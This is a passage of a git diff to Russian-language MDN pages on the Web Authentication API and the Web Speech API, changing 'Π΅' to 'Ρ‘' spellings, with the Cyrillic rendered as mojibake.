<p><img alt="a series of red bars in a bar graph, showing intensity of different frequencies in an audio signal" src="https://mdn.mozillademos.org/files/7975/bar-graph.png" style="height: 157px; width: 1260px;"></p>
diff --git a/files/ru/web/api/web_authentication_api/index.html b/files/ru/web/api/web_authentication_api/index.html
index d7951c18d6..4407249491 100644
--- a/files/ru/web/api/web_authentication_api/index.html
+++ b/files/ru/web/api/web_authentication_api/index.html
@@ -11,11 +11,11 @@ translation_of: Web/API/Web_Authentication_API
<p>API Web Authentication (Ρ‚Π°ΠΊΠΆΠ΅ Π½Π°Π·Ρ‹Π²Π°Π΅ΠΌΠΎΠ΅ WebAuthn) ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ {{interwiki("wikipedia", "Public-key_cryptography", "Π°ΡΡΠΈΠΌΠ΅Ρ‚Ρ€ΠΈΡ‡Π½ΡƒΡŽ ΠΊΡ€ΠΈΠΏΡ‚ΠΎΠ³Ρ€Π°Ρ„ΠΈΡŽ (систСму с ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚Ρ‹ΠΌ ΠΊΠ»ΡŽΡ‡ΠΎΠΌ)")}} вмСсто ΠΏΠ°Ρ€ΠΎΠ»Π΅ΠΉ ΠΈΠ»ΠΈ SMS-сообщСний для рСгистрации, Π²Ρ…ΠΎΠ΄Π° ΠΈ {{interwiki("wikipedia", "Multi-factor_authentication", "Π΄Π²ΡƒΡ…Ρ„Π°ΠΊΡ‚ΠΎΡ€Π½ΠΎΠΉ Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ")}} Π½Π° Π²Π΅Π±-сайтах. Π­Ρ‚ΠΎ устраняСт ΠΌΠ½ΠΎΠ³ΠΈΠ΅ Π·Π½Π°Ρ‡ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹ бСзопасности, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ {{interwiki("wikipedia", "Phishing", "Ρ„ΠΈΡˆΠΈΠ½Π³")}}, {{interwiki("wikipedia", "Data_breach", "ΡƒΡ‚Π΅Ρ‡ΠΊΠΈ Π΄Π°Π½Π½Ρ‹Ρ…")}} ΠΈ Π°Ρ‚Π°ΠΊΠΈ Π½Π° SMS ΠΈΠ»ΠΈ ΠΈΠ½Ρ‹Π΅ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ Π΄Π²ΡƒΡ…Ρ„Π°ΠΊΡ‚ΠΎΡ€Π½ΠΎΠΉ Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ, ΠΏΡ€ΠΈ этом сильно упрощая использованиС, Ρ‚.ΠΊ. ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡΠΌ Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ Π·Π°ΠΏΠΎΠΌΠΈΠ½Π°Ρ‚ΡŒ дСсятки слоТных ΠΏΠ°Ρ€ΠΎΠ»Π΅ΠΉ.</p>
-<p>На ΠΌΠ½ΠΎΠ³ΠΈΡ… сайтах ΡƒΠΆΠ΅ Π΅ΡΡ‚ΡŒ страницы для рСгистрации ΠΈ Π²Ρ…ΠΎΠ΄Π° Π² ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠ΅ ΡƒΡ‡Π΅Ρ‚Π½Ρ‹Π΅ записи, ΠΈ Web Authentication API ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΊΠ°ΠΊ Π·Π°ΠΌΠ΅Π½ΠΎΠΉ, Ρ‚Π°ΠΊ ΠΈ Π΄ΠΎΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ΠΌ для Π½ΠΈΡ…. Как ΠΈ ΠΎΡΡ‚Π°Π»ΡŒΠ½Ρ‹Π΅ Π²ΠΈΠ΄Ρ‹ <a href="/en-US/docs/Web/API/Credential_Management_API">Credential Management API</a>, Web Authentication API содСрТит Π΄Π²Π° Π±Π°Π·ΠΎΠ²Ρ‹Ρ… ΠΌΠ΅Ρ‚ΠΎΠ΄Π°: для рСгистрации ΠΈ для Π²Ρ…ΠΎΠ΄Π°:</p>
+<p>На ΠΌΠ½ΠΎΠ³ΠΈΡ… сайтах ΡƒΠΆΠ΅ Π΅ΡΡ‚ΡŒ страницы для рСгистрации ΠΈ Π²Ρ…ΠΎΠ΄Π° Π² ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠ΅ ΡƒΡ‡Ρ‘Ρ‚Π½Ρ‹Π΅ записи, ΠΈ Web Authentication API ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΊΠ°ΠΊ Π·Π°ΠΌΠ΅Π½ΠΎΠΉ, Ρ‚Π°ΠΊ ΠΈ Π΄ΠΎΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ΠΌ для Π½ΠΈΡ…. Как ΠΈ ΠΎΡΡ‚Π°Π»ΡŒΠ½Ρ‹Π΅ Π²ΠΈΠ΄Ρ‹ <a href="/en-US/docs/Web/API/Credential_Management_API">Credential Management API</a>, Web Authentication API содСрТит Π΄Π²Π° Π±Π°Π·ΠΎΠ²Ρ‹Ρ… ΠΌΠ΅Ρ‚ΠΎΠ΄Π°: для рСгистрации ΠΈ для Π²Ρ…ΠΎΠ΄Π°:</p>
<ul>
- <li>{{domxref("CredentialsContainer.create()", "navigator.credentials.create()")}} - ΠΏΡ€ΠΈ использовании с ΠΎΠΏΡ†ΠΈΠ΅ΠΉ <code>publicKey</code> создаСт Π½ΠΎΠ²Ρ‹ΠΉ Π½Π°Π±ΠΎΡ€ ΡƒΡ‡Π΅Ρ‚Π½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ… для рСгистрации Π½ΠΎΠ²ΠΎΠ³ΠΎ Π°ΠΊΠΊΠ°ΡƒΠ½Ρ‚Π° ΠΈΠ»ΠΈ добавлСния ΠΏΠ°Ρ€Ρ‹ ΠΊΠ»ΡŽΡ‡Π΅ΠΉ ΠΊ ΡƒΠΆΠ΅ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰Π΅ΠΌΡƒ.</li>
- <li>{{domxref("CredentialsContainer.get()", "navigator.credentials.get()")}} - ΠΏΡ€ΠΈ использовании с ΠΎΠΏΡ†ΠΈΠ΅ΠΉ <code>publicKey</code> ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΉ Π½Π°Π±ΠΎΡ€ ΡƒΡ‡Π΅Ρ‚Π½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ… для Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ Π² сСрвисС Π² качСствС основного способа Π²Ρ…ΠΎΠ΄Π° ΠΈΠ»ΠΈ Π²Ρ‚ΠΎΡ€ΠΎΠ³ΠΎ Ρ„Π°ΠΊΡ‚ΠΎΡ€Π°.</li>
+ <li>{{domxref("CredentialsContainer.create()", "navigator.credentials.create()")}} - ΠΏΡ€ΠΈ использовании с ΠΎΠΏΡ†ΠΈΠ΅ΠΉ <code>publicKey</code> создаёт Π½ΠΎΠ²Ρ‹ΠΉ Π½Π°Π±ΠΎΡ€ ΡƒΡ‡Ρ‘Ρ‚Π½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ… для рСгистрации Π½ΠΎΠ²ΠΎΠ³ΠΎ Π°ΠΊΠΊΠ°ΡƒΠ½Ρ‚Π° ΠΈΠ»ΠΈ добавлСния ΠΏΠ°Ρ€Ρ‹ ΠΊΠ»ΡŽΡ‡Π΅ΠΉ ΠΊ ΡƒΠΆΠ΅ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰Π΅ΠΌΡƒ.</li>
+ <li>{{domxref("CredentialsContainer.get()", "navigator.credentials.get()")}} - ΠΏΡ€ΠΈ использовании с ΠΎΠΏΡ†ΠΈΠ΅ΠΉ <code>publicKey</code> ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΉ Π½Π°Π±ΠΎΡ€ ΡƒΡ‡Ρ‘Ρ‚Π½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ… для Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ Π² сСрвисС Π² качСствС основного способа Π²Ρ…ΠΎΠ΄Π° ΠΈΠ»ΠΈ Π²Ρ‚ΠΎΡ€ΠΎΠ³ΠΎ Ρ„Π°ΠΊΡ‚ΠΎΡ€Π°.</li>
</ul>
<p><strong>ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅</strong>, ΠΈ <code>create()</code>, ΠΈ <code>get()</code> Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² <a href="/en-US/docs/Web/Security/Secure_Contexts">Secure Context</a> (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΊΠΎΠ³Π΄Π° ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ ΠΊ сСрвСру происходит Ρ‡Π΅Ρ€Π΅Π· https ΠΈΠ»ΠΈ сСрвСр Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Π½Π° localhost).</p>
@@ -43,8 +43,8 @@ translation_of: Web/API/Web_Authentication_API
<li><strong>ΠŸΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Π΅Ρ‚ Ρ€Π΅Π³ΠΈΡΡ‚Ρ€Π°Ρ†ΠΈΡŽ</strong> - The application makes the initial registration request. The protocol and format of this request is outside of the scope of the Web Authentication API.</li>
<li><strong>Server Sends Challenge, User Info, and Relying Party Info</strong> - The server sends a challenge, user information, and relying party information to the JavaScript program. The protocol for communicating with the server is not specified and is outside of the scope of the Web Authentication API. Typically, server communications would be <a href="/en-US/docs/Glossary/REST">REST</a> over https (probably using <a href="/en-US/docs/User:maybe/webidl_mdn/XMLHttpRequest_API">XMLHttpRequest</a> or <a href="/en-US/docs/Web/API/Fetch_API">Fetch</a>), but they could also be <a href="/en-US/docs/Glossary/SOAP">SOAP</a>, <a href="https://tools.ietf.org/html/rfc2549">RFC 2549</a> or nearly any other protocol provided that the protocol is secure. The parameters received from the server will be passed to the <a href="/en-US/docs/Web/API/CredentialsContainer/create">create()</a> call, typically with little or no modification and returns a <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise">Promise</a> that will resolve to a {{domxref("PublicKeyCredential")}} containing an {{domxref("AuthenticatorAttestationResponse")}}. <strong>Note that it is absolutely critical that the challenge be a buffer of random information (at least 16 bytes) and it MUST be generated on the server in order to ensure the security of the registration process.</strong></li>
<li><strong>Π‘Ρ€Π°ΡƒΠ·Π΅Ρ€ Π²Ρ‹Π·Ρ‹Π²Π°Π΅Ρ‚ authenticatorMakeCredential() для Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€Π°</strong> - Internally, the browser will validate the parameters and fill in any defaults, which become the {{domxref("AuthenticatorResponse.clientDataJSON")}}. One of the most important parameters is the origin, which is recorded as part of the clientData so that the origin can be verified by the server later. The parameters to the create() call are passed to the authenticator, along with a SHA-256 hash of the clientDataJSON (only a hash is sent because the link to the authenticator may be a low-bandwidth NFC or Bluetooth link and the authenticator is just going to sign over the hash to ensure that it isn't tampered with).</li>
- <li><strong>АутСнтификатор создаСт Π½ΠΎΠ²ΡƒΡŽ ΠΏΠ°Ρ€Ρƒ ΠΊΠ»ΡŽΡ‡Π΅ΠΉ ΠΈ Attestation</strong> - Before doing anything, the authenticator will typically ask for some form of user verification. This could be entering a PIN, using a fingerprint, doing an iris scan, etc. to prove that the user is present and consenting to the registration. After the user verification, the authenticator will create a new asymmetric key pair and safely store the private key for future reference. The public key will become part of the attestation, which the authenticator will sign over with a private key that was burned into the authenticator during its manufacturing process and that has a certificate chain that can be validated back to a root of trust.</li>
- <li><strong>АутСнтификатор ΠΏΠ΅Ρ€Π΅Π΄Π°Π΅Ρ‚ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€</strong> - The new public key, a globally unique credential id, and other attestation data are returned to the browser where they become the attestationObject.</li>
+ <li><strong>АутСнтификатор создаёт Π½ΠΎΠ²ΡƒΡŽ ΠΏΠ°Ρ€Ρƒ ΠΊΠ»ΡŽΡ‡Π΅ΠΉ ΠΈ Attestation</strong> - Before doing anything, the authenticator will typically ask for some form of user verification. This could be entering a PIN, using a fingerprint, doing an iris scan, etc. to prove that the user is present and consenting to the registration. After the user verification, the authenticator will create a new asymmetric key pair and safely store the private key for future reference. The public key will become part of the attestation, which the authenticator will sign over with a private key that was burned into the authenticator during its manufacturing process and that has a certificate chain that can be validated back to a root of trust.</li>
+ <li><strong>АутСнтификатор ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‘Ρ‚ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€</strong> - The new public key, a globally unique credential id, and other attestation data are returned to the browser where they become the attestationObject.</li>
<li><strong>Π‘Ρ€Π°ΡƒΠ·Π΅Ρ€ создаёт ΠΈΡ‚ΠΎΠ³ΠΎΠ²Ρ‹ΠΉ Π½Π°Π±ΠΎΡ€ Π΄Π°Π½Π½Ρ‹Ρ…, ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ ΠΎΡ‚Π²Π΅Ρ‡Π°Π΅Ρ‚ сСрвСру</strong> - The create() Promise resolves to an {{domxref("PublicKeyCredential")}}, which has a {{domxref("PublicKeyCredential.rawId")}} that is the globally unique credential id along with a response that is the {{domxref("AuthenticatorAttestationResponse")}} containing the {{domxref("AuthenticatorResponse.clientDataJSON")}} and {{domxref("AuthenticatorAttestationResponse.attestationObject")}}. The {{domxref("PublicKeyCredential")}} is sent back to the server using any desired formatting and protocol (note that the ArrayBuffer properties need to be be base64 encoded or similar).</li>
<li><strong>Π‘Π΅Ρ€Π²Π΅Ρ€ провСрят ΠΈ Π·Π°Π²Π΅Ρ€ΡˆΠ°Π΅Ρ‚ Ρ€Π΅Π³ΠΈΡΡ‚Ρ€Π°Ρ†ΠΈΡŽ</strong> - Finally, the server is required to perform a series of checks to ensure that the registration was complete and not tampered with. These include:
<ol>
@@ -67,8 +67,8 @@ translation_of: Web/API/Web_Authentication_API
<li><strong>ΠŸΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Π΅Ρ‚ Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΡŽ</strong> - The application makes the initial authentication request. The protocol and format of this request is outside of the scope of the Web Authentication API.</li>
<li><strong>Server Sends Challenge</strong> - The server sends a challenge to the JavaScript program. The protocol for communicating with the server is not specified and is outside of the scope of the Web Authentication API. Typically, server communications would be <a href="/en-US/docs/Glossary/REST">REST</a> over https (probably using <a href="/en-US/docs/User:maybe/webidl_mdn/XMLHttpRequest_API">XMLHttpRequest</a> or <a href="/en-US/docs/Web/API/Fetch_API">Fetch</a>), but they could also be <a href="/en-US/docs/Glossary/SOAP">SOAP</a>, <a href="https://tools.ietf.org/html/rfc2549">RFC 2549</a> or nearly any other protocol provided that the protocol is secure. The parameters received from the server will be passed to the <a href="/en-US/docs/Web/API/CredentialsContainer/get">get()</a> call, typically with little or no modification. <strong>Note that it is absolutely critical that the challenge be a buffer of random information (at least 16 bytes) and it MUST be generated on the server in order to ensure the security of the authentication process.</strong></li>
<li><strong>Π‘Ρ€Π°ΡƒΠ·Π΅Ρ€ Π²Ρ‹Π·Ρ‹Π²Π°Π΅Ρ‚ authenticatorGetCredential() для Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€Π°</strong> - Internally, the browser will validate the parameters and fill in any defaults, which become the {{domxref("AuthenticatorResponse.clientDataJSON")}}. One of the most important parameters is the origin, which recorded as part of the clientData so that the origin can be verified by the server later. The parameters to the get() call are passed to the authenticator, along with a SHA-256 hash of the clientDataJSON (only a hash is sent because the link to the authenticator may be a low-bandwidth NFC or Bluetooth link and the authenticator is just going to sign over the hash to ensure that it isn't tampered with).</li>
- <li><strong>АутСнтификатор создаСт подпись</strong> - The authenticator finds a credential for this service that matches the Relying Party ID and prompts a user to consent to the authentication. Assuming both of those steps are successful, the authenticator will create a new assertion by signing over the clientDataHash and authenticatorData with the private key generated for this account during the registration call.</li>
- <li><strong>АутСнтификатор ΠΏΠ΅Ρ€Π΅Π΄Π°Π΅Ρ‚ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€</strong> - The authenticator returns the authenticatorData and assertion signature back to the browser.</li>
+ <li><strong>АутСнтификатор создаёт подпись</strong> - The authenticator finds a credential for this service that matches the Relying Party ID and prompts a user to consent to the authentication. Assuming both of those steps are successful, the authenticator will create a new assertion by signing over the clientDataHash and authenticatorData with the private key generated for this account during the registration call.</li>
+ <li><strong>АутСнтификатор ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‘Ρ‚ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€</strong> - The authenticator returns the authenticatorData and assertion signature back to the browser.</li>
<li><strong>Π‘Ρ€Π°ΡƒΠ·Π΅Ρ€ создаёт ΠΈΡ‚ΠΎΠ³ΠΎΠ²Ρ‹ΠΉ Π½Π°Π±ΠΎΡ€ Π΄Π°Π½Π½Ρ‹Ρ…, ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ ΠΎΡ‚Π²Π΅Ρ‡Π°Π΅Ρ‚ сСрвСру</strong> - The browser resolves the <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise">Promise</a> to a {{domxref("PublicKeyCredential")}} with a {{domxref("PublicKeyCredential.response")}} that contains the {{domxref("AuthenticatorAssertionResponse")}}. It is up to the JavaScript application to transmit this data back to the server using any protocol and format of its choice.</li>
<li><strong>Π‘Π΅Ρ€Π²Π΅Ρ€ провСрят ΠΈ Π·Π°Π²Π΅Ρ€ΡˆΠ°Π΅Ρ‚ Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΡŽ</strong> - Upon receiving the result of the authentication request, the server performs validation of the response such as:
<ol>
diff --git a/files/ru/web/api/web_speech_api/index.html b/files/ru/web/api/web_speech_api/index.html
index 3398c86aad..1a844c744f 100644
--- a/files/ru/web/api/web_speech_api/index.html
+++ b/files/ru/web/api/web_speech_api/index.html
@@ -14,7 +14,7 @@ translation_of: Web/API/Web_Speech_API
<p>Web Speech API позволяСт Π²Π΅Π± прилоТСниям ΡƒΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒ голосовыми Π΄Π°Π½Π½Ρ‹ΠΌΠΈ. БущСствуСт Π΄Π²Π° ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚Π° ΠΊ этому API:</p>
<ul>
- <li>РаспознаваниС голоса. Доступ обСспСчиваСтся Ρ‡Π΅Ρ€Π΅Π· {{domxref("SpeechRecognition")}} интСрфСйс, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π² свою ΠΎΡ‡Π΅Ρ€Π΅Π΄ΡŒ обСспСчиваСт Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ Ρ€Π°ΡΠΏΠΎΠ·Π½Π°Π²Π°Ρ‚ΡŒ тСкст ΠΈΠ· входящСго Π°ΡƒΠ΄ΠΈΠΎ ΠΏΠΎΡ‚ΠΎΠΊΠ° (ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ Ρ‡Π΅Ρ€Π΅Π· устройство распознавания Ρ€Π΅Ρ‡ΠΈ Π² устройствС ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ) ΠΈ ΠΎΡ‚Π²Π΅Ρ‡Π°Ρ‚ΡŒ соотвСтствСнно.Β Π’ΠΎΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Π²ΡˆΠΈΡΡŒ конструктором интСрфСйса Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ Π½ΠΎΠ²Ρ‹ΠΉ {{domxref("SpeechRecognition")}} ΠΎΠ±ΡŠΠ΅ΠΊΡ‚, Ρƒ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ Π΅ΡΡ‚ΡŒ ряд событий для обнаруТСния Π½Π°Ρ‡Π°Π»Π° Ρ€Π΅Ρ‡ΠΈ Ρ‡Π΅Ρ€Π΅Π· ΠΌΠΈΠΊΡ€ΠΎΡ„ΠΎΠ½ устройства. {{domxref("SpeechGrammar")}} интСрфСйс прСдоставляСт ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€ для ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ³ΠΎ Π½Π°Π±ΠΎΡ€Π° Π³Ρ€Π°ΠΌΠΌΠ°Ρ‚ΠΈΠΊΠΈ, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ вашС ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Π΄ΠΎΠ»ΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ.Β Π“Ρ€Π°ΠΌΠΌΠ°Ρ‚ΠΈΠΊΠ° опрСдСляСтся с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ <a href="http://www.w3.org/TR/jsgf/">JSpeech Grammar Format</a> (<strong>JSGF</strong>.)</li>
+ <li>РаспознаваниС голоса. Доступ обСспСчиваСтся Ρ‡Π΅Ρ€Π΅Π· {{domxref("SpeechRecognition")}} интСрфСйс, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π² свою ΠΎΡ‡Π΅Ρ€Π΅Π΄ΡŒ обСспСчиваСт Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ Ρ€Π°ΡΠΏΠΎΠ·Π½Π°Π²Π°Ρ‚ΡŒ тСкст ΠΈΠ· входящСго Π°ΡƒΠ΄ΠΈΠΎ ΠΏΠΎΡ‚ΠΎΠΊΠ° (ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ Ρ‡Π΅Ρ€Π΅Π· устройство распознавания Ρ€Π΅Ρ‡ΠΈ Π² устройствС ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ) ΠΈ ΠΎΡ‚Π²Π΅Ρ‡Π°Ρ‚ΡŒ соотвСтствСнно.Β Π’ΠΎΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Π²ΡˆΠΈΡΡŒ конструктором интСрфСйса Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ Π½ΠΎΠ²Ρ‹ΠΉ {{domxref("SpeechRecognition")}} ΠΎΠ±ΡŠΠ΅ΠΊΡ‚, Ρƒ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ Π΅ΡΡ‚ΡŒ ряд событий для обнаруТСния Π½Π°Ρ‡Π°Π»Π° Ρ€Π΅Ρ‡ΠΈ Ρ‡Π΅Ρ€Π΅Π· ΠΌΠΈΠΊΡ€ΠΎΡ„ΠΎΠ½ устройства. {{domxref("SpeechGrammar")}} интСрфСйс прСдоставляСт ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€ для ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ³ΠΎ Π½Π°Π±ΠΎΡ€Π° Π³Ρ€Π°ΠΌΠΌΠ°Ρ‚ΠΈΠΊΠΈ, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ вашС ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Π΄ΠΎΠ»ΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ.Β Π“Ρ€Π°ΠΌΠΌΠ°Ρ‚ΠΈΠΊΠ° опрСдСляСтся с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ <a href="http://www.w3.org/TR/jsgf/">JSpeech Grammar Format</a> (<strong>JSGF</strong>.)</li>
<li>Доступ ΠΊ синтСзу Ρ€Π΅Ρ‡ΠΈ осущСствляСтся с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ {{domxref("SpeechSynthesis")}} интСрфСйса, ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚ text-to-speech позволяСт прилоТСниям ΠΏΡ€ΠΎΡ‡Π΅ΡΡ‚ΡŒ свой тСкстовый ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ (ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ Ρ‡Π΅Ρ€Π΅Π· Π΄Π΅Ρ„ΠΎΠ»Ρ‚Π½Ρ‹ΠΉ синтСзатор Ρ€Π΅Ρ‡ΠΈ устройства). Π’ {{domxref("SpeechSynthesisVoice")}} ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°Ρ… Π΅ΡΡ‚ΡŒ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ Ρ‚ΠΈΠΏΡ‹ голоса, ΠΈ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹ΠΌ частям тСкста ΠΌΠΎΠΆΠ½ΠΎ Π½Π°Π·Π½Π°Ρ‡Π°Ρ‚ΡŒ Β  {{domxref("SpeechSynthesisUtterance")}} ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹. МоТно Π½Π°Ρ‡Π°Ρ‚ΡŒ воспроизвСдСниС ΠΏΠ΅Ρ€Π΅Π΄Π°Π² ΠΈΡ… ΠΌΠ΅Ρ‚ΠΎΠ΄Ρƒ {{domxref("SpeechSynthesis.speak()")}}.</li>
</ul>
diff --git a/files/ru/web/api/web_speech_api/using_the_web_speech_api/index.html b/files/ru/web/api/web_speech_api/using_the_web_speech_api/index.html
index 27aa08113f..c78a987ba5 100644
--- a/files/ru/web/api/web_speech_api/using_the_web_speech_api/index.html
+++ b/files/ru/web/api/web_speech_api/using_the_web_speech_api/index.html
@@ -9,11 +9,11 @@ tags:
- Π‘ΠΈΠ½Ρ‚Π΅Π· Ρ€Π΅Ρ‡ΠΈ
translation_of: Web/API/Web_Speech_API/Using_the_Web_Speech_API
---
-<p class="summary">Web Speech API прСдоставляСт 2 основных Ρ‚ΠΈΠΏΠ° Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»Π° β€” <a href="https://developer.mozilla.org/ru/docs/Web/API/SpeechRecognition">распознаваниС Ρ€Π΅Ρ‡ΠΈ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ</a> ΠΈ <a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesis">Ρ€Π΅Ρ‡Π΅Π²ΠΎΠ΅ воспроизвСдСниС тСкста</a>. Π­Ρ‚ΠΎ прСдоставляСт Π½ΠΎΠ²Ρ‹Π΅ возмоТности для взаимодСйствия с интСрфСйсом ΠΈ ΠΎΡ‚ΠΊΡ€Ρ‹Π²Π°Π΅Ρ‚ ΠΏΠ΅Ρ€Π΅Π΄ Π½Π°ΠΌΠΈ Π½ΠΎΠ²Ρ‹Π΅ Π³ΠΎΡ€ΠΈΠ·ΠΎΠ½Ρ‚Ρ‹ создания ΡƒΠ½ΠΈΠΊΠ°Π»ΡŒΠ½ΠΎΠ³ΠΎ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ ΠΎΠΏΡ‹Ρ‚Π°. Π­Ρ‚Π° ΡΡ‚Π°Ρ‚ΡŒΡ Π΄Π°Π΅Ρ‚ ΠΊΡ€Π°Ρ‚ΠΊΠΎΠ΅ описаниС ΠΎΠ±ΠΎΠΈΡ… Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠΉ с ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°ΠΌΠΈ ΠΊΠΎΠ΄Π° ΠΈ ссылкой Π½Π° 